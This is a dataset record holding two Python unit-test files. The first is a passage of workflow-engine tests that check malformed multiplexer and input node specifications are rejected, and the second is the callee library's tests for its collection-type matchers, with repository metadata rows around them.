# testing multiplexer node
def test_multiplexer_node_with_no_inbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit-a', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoInbound.CODE,
'Invalid subclass of ValidationError raised')
def test_multiplexer_node_with_no_outbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer-2', 'name': 'Decision 2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'multiplexer', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'multiplexer-2', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 2, 'condition': 'sample.support.dummy_condition_c'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_multiplexer_node_with_one_outbound_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'multiplexer', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasOneOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_multiplexer_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.SPLIT, 'code': 'split', 'name': 'Split',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'split', 'name': 'Split Transition',
}, {
'origin': 'split', 'destination': 'multiplexer', 'name': 'Multiplexer Transition',
'action_name': 'go-multiplexer'
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_multiplexer_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
'execute_permission': 'sample.cancel_task',
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'multiplexer', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
def test_multiplexer_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'multiplexer', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_multiplexer_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.MULTIPLEXER, 'code': 'multiplexer', 'name': 'Decision',
'exit_value': 102,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-a', 'name': 'Exit A', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-b', 'name': 'Exit B', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'multiplexer', 'name': 'Bypass transition',
}, {
'origin': 'multiplexer', 'destination': 'exit-a', 'name': 'Choice A',
'priority': 0, 'condition': 'sample.support.dummy_condition_a'
}, {
'origin': 'multiplexer', 'destination': 'exit-b', 'name': 'Choice B',
'priority': 1, 'condition': 'sample.support.dummy_condition_b'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
# testing input node
def test_input_node_with_no_inbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoInbound.CODE,
'Invalid subclass of ValidationError raised')
def test_input_node_with_no_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_input_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_input_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_input_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2', 'exit_value': 101,
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
| 57.121495
| 120
| 0.390922
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| 0.020088
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0
| 7
|
f71669461b57160bac0b4efc0928e6826dc11176
| 15,093
|
py
|
Python
|
tests/test_collections.py
|
fperetti/callee
|
58740f73ff9a76f5fe0075bf18d7345a0f9d961c
|
[
"BSD-3-Clause"
] | 72
|
2016-03-21T03:58:33.000Z
|
2022-03-29T10:24:51.000Z
|
tests/test_collections.py
|
fperetti/callee
|
58740f73ff9a76f5fe0075bf18d7345a0f9d961c
|
[
"BSD-3-Clause"
] | 14
|
2016-03-21T03:58:39.000Z
|
2021-09-07T16:26:03.000Z
|
tests/test_collections.py
|
fperetti/callee
|
58740f73ff9a76f5fe0075bf18d7345a0f9d961c
|
[
"BSD-3-Clause"
] | 9
|
2016-10-26T14:39:00.000Z
|
2021-08-13T17:39:35.000Z
|
"""
Tests for collections' matchers.
"""
import collections
from taipan.testing import skipIf
from callee._compat import OrderedDict as _OrderedDict
import callee.collections as __unit__
from tests import MatcherTestCase
class Iterable(MatcherTestCase):
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_match('')
test_empty_list = lambda self: self.assert_match([])
test_empty_tuple = lambda self: self.assert_match(())
test_empty_dict = lambda self: self.assert_match({})
test_empty_generator = lambda self: self.assert_match(x for x in ())
test_some_string = lambda self: self.assert_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_match([1, 2, 3, 5, 8, 13])
test_some_tuple = lambda self: self.assert_match(('foo', -1, ['bar']))
def test_some_generator(self):
gen = (x for x in [1, 2, 5])
self.assert_match(gen)
self.assertNotEmpty(
gen, msg="matcher shouldn't have iterated over the generator")
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Iterable())
# Assertion functions
def assert_match(self, value):
return super(Iterable, self).assert_match(__unit__.Iterable(), value)
def assert_no_match(self, value):
return super(Iterable, self) \
.assert_no_match(__unit__.Iterable(), value)
class Generator(MatcherTestCase):
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_no_match([])
test_empty_tuple = lambda self: self.assert_no_match(())
test_empty_dict = lambda self: self.assert_no_match({})
test_empty_generator = lambda self: self.assert_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_no_match([1, 2, 3, 5, 8, 13])
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
def test_some_generator(self):
gen = (x for x in [1, 2, 5])
self.assert_match(gen)
self.assertNotEmpty(
gen, msg="matcher shouldn't have iterated over the generator")
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Generator())
# Assertion functions
def assert_match(self, value):
return super(Generator, self).assert_match(__unit__.Generator(), value)
def assert_no_match(self, value):
return super(Generator, self) \
.assert_no_match(__unit__.Generator(), value)
# Ordinary collections
class Sequence(MatcherTestCase):
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_match('')
test_empty_list = lambda self: self.assert_match([])
test_empty_set = lambda self: self.assert_no_match(set())
test_empty_tuple = lambda self: self.assert_match(())
test_empty_dict = lambda self: self.assert_no_match({})
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
def test_some_string(self):
s = "Alice has a cat"
self.assert_match(s)
self.assert_match(s, of=str)
test_some_number = lambda self: self.assert_no_match(42)
def test_some_list(self):
l = [1, 2, 3, 5, 8, 13]
self.assert_match(l)
self.assert_match(l, of=int)
test_some_tuple = lambda self: self.assert_match(('foo', -1, ['bar']))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Sequence())
# Assertion functions
def assert_match(self, value, of=None):
return super(Sequence, self).assert_match(__unit__.Sequence(of), value)
def assert_no_match(self, value, of=None):
return super(Sequence, self) \
.assert_no_match(__unit__.Sequence(of), value)
class List(MatcherTestCase):
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_match([])
test_empty_set = lambda self: self.assert_no_match(set())
test_empty_tuple = lambda self: self.assert_no_match(())
test_empty_dict = lambda self: self.assert_no_match({})
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_match([1, 2, 3, 5, 8, 13], int)
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.List())
# Assertion functions
def assert_match(self, value, of=None):
return super(List, self).assert_match(__unit__.List(of), value)
def assert_no_match(self, value, of=None):
return super(List, self).assert_no_match(__unit__.List(of), value)
class Set(MatcherTestCase):
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_no_match([])
test_empty_set = lambda self: self.assert_match(set())
test_empty_tuple = lambda self: self.assert_no_match(())
test_empty_dict = lambda self: self.assert_no_match({})
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_no_match([1, 2, 3, 5, 8, 13])
test_some_set = lambda self: self.assert_match(set([2, 4, 6, 8, 10]), int)
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Set())
# Assertion functions
def assert_match(self, value, of=None):
return super(Set, self).assert_match(__unit__.Set(of), value)
def assert_no_match(self, value, of=None):
return super(Set, self).assert_no_match(__unit__.Set(of), value)
# Mappings
class CustomDict(collections.MutableMapping):
""""Custom, no-op mapping class that just wraps a regular Python dict
but is not a Python dict itself.
"""
def __init__(self, iterable=(), **kwargs):
if isinstance(iterable, collections.Mapping):
iterable = iterable.items()
self.d = {}
for k, v in iterable:
self.d[k] = v
self.d.update(kwargs)
def __delitem__(self, key):
del self.d[key]
def __getitem__(self, key):
return self.d[key]
def __iter__(self):
return iter(self.d)
def __len__(self):
return len(self.d)
def __setitem__(self, key, value):
self.d[key] = value
class Mapping(MatcherTestCase):
def test_invalid_arg(self):
with self.assertRaises(TypeError):
self.assert_match(None, of='not a pair of matchers')
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_no_match([])
test_empty_set = lambda self: self.assert_no_match(set())
test_empty_tuple = lambda self: self.assert_no_match(())
def test_empty_dict__regular(self):
d = {}
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
def test_empty_dict__custom(self):
d = CustomDict()
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_no_match([1, 2, 3, 5, 8, 13])
test_some_set = lambda self: self.assert_no_match(set([2, 4, 6, 8, 10]))
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
def test_some_dict__regular(self):
d = {'a': 1}
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
def test_some_dict__custom(self):
d = CustomDict({'a': 1})
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Mapping())
# Assertion functions
def assert_match(self, value, *args, **kwargs):
return super(Mapping, self)\
.assert_match(__unit__.Mapping(*args, **kwargs), value)
def assert_no_match(self, value, *args, **kwargs):
return super(Mapping, self) \
.assert_no_match(__unit__.Mapping(*args, **kwargs), value)
class Dict(MatcherTestCase):
def test_invalid_arg(self):
with self.assertRaises(TypeError):
self.assert_match(None, of='not a pair of matchers')
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_no_match([])
test_empty_set = lambda self: self.assert_no_match(set())
test_empty_tuple = lambda self: self.assert_no_match(())
def test_empty_dict__regular(self):
d = {}
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
def test_empty_dict__custom(self):
d = CustomDict()
self.assert_no_match(d)
self.assert_no_match(d, str, int)
self.assert_no_match(d, keys=str, values=int)
self.assert_no_match(d, of=(str, int))
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_no_match([1, 2, 3, 5, 8, 13])
test_some_set = lambda self: self.assert_no_match(set([2, 4, 6, 8, 10]))
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
def test_some_dict__regular(self):
d = {'a': 1}
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
def test_some_dict__custom(self):
d = CustomDict({'a': 1})
self.assert_no_match(d)
self.assert_no_match(d, str, int)
self.assert_no_match(d, keys=str, values=int)
self.assert_no_match(d, of=(str, int))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.Dict())
# Assertion functions
def assert_match(self, value, *args, **kwargs):
return super(Dict, self) \
.assert_match(__unit__.Dict(*args, **kwargs), value)
def assert_no_match(self, value, *args, **kwargs):
return super(Dict, self) \
.assert_no_match(__unit__.Dict(*args, **kwargs), value)
class OrderedDict(MatcherTestCase):
def test_invalid_arg(self):
with self.assertRaises(TypeError):
self.assert_match(None, of='not a pair of matchers')
test_none = lambda self: self.assert_no_match(None)
test_zero = lambda self: self.assert_no_match(0)
test_empty_string = lambda self: self.assert_no_match('')
test_empty_list = lambda self: self.assert_no_match([])
test_empty_set = lambda self: self.assert_no_match(set())
test_empty_tuple = lambda self: self.assert_no_match(())
test_empty_dict__regular = lambda self: self.assert_no_match({})
test_empty_dict__custom = lambda self: self.assert_no_match(CustomDict())
@skipIf(_OrderedDict is None,
"requires Python 2.6 or the ordereddict package")
def test_empty_ordereddict(self):
d = _OrderedDict()
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
test_empty_generator = lambda self: self.assert_no_match(x for x in ())
test_some_string = lambda self: self.assert_no_match("Alice has a cat")
test_some_number = lambda self: self.assert_no_match(42)
test_some_list = lambda self: self.assert_no_match([1, 2, 3, 5, 8, 13])
test_some_set = lambda self: self.assert_no_match(set([2, 4, 6, 8, 10]))
test_some_tuple = lambda self: self.assert_no_match(('foo', -1, ['bar']))
test_some_dict = lambda self: self.assert_no_match({'a': 1})
@skipIf(_OrderedDict is None,
"requires Python 2.6 or the ordereddict package")
def test_some_ordereddict(self):
d = _OrderedDict([('a', 1)])
self.assert_match(d)
self.assert_match(d, str, int)
self.assert_match(d, keys=str, values=int)
self.assert_match(d, of=(str, int))
test_some_generator = lambda self: self.assert_no_match(x for x in [1, 2])
test_some_object = lambda self: self.assert_no_match(object())
test_repr = lambda self: self.assert_repr(__unit__.OrderedDict())
# Assertion functions
def assert_match(self, value, *args, **kwargs):
return super(OrderedDict, self) \
.assert_match(__unit__.OrderedDict(*args, **kwargs), value)
def assert_no_match(self, value, *args, **kwargs):
return super(OrderedDict, self) \
.assert_no_match(__unit__.OrderedDict(*args, **kwargs), value)
| 38.899485
| 79
| 0.681309
| 2,225
| 15,093
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| 0.191203
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| 0.246578
| 0.893637
| 0.879114
| 0.860621
| 0.855919
| 0.847874
| 0.824261
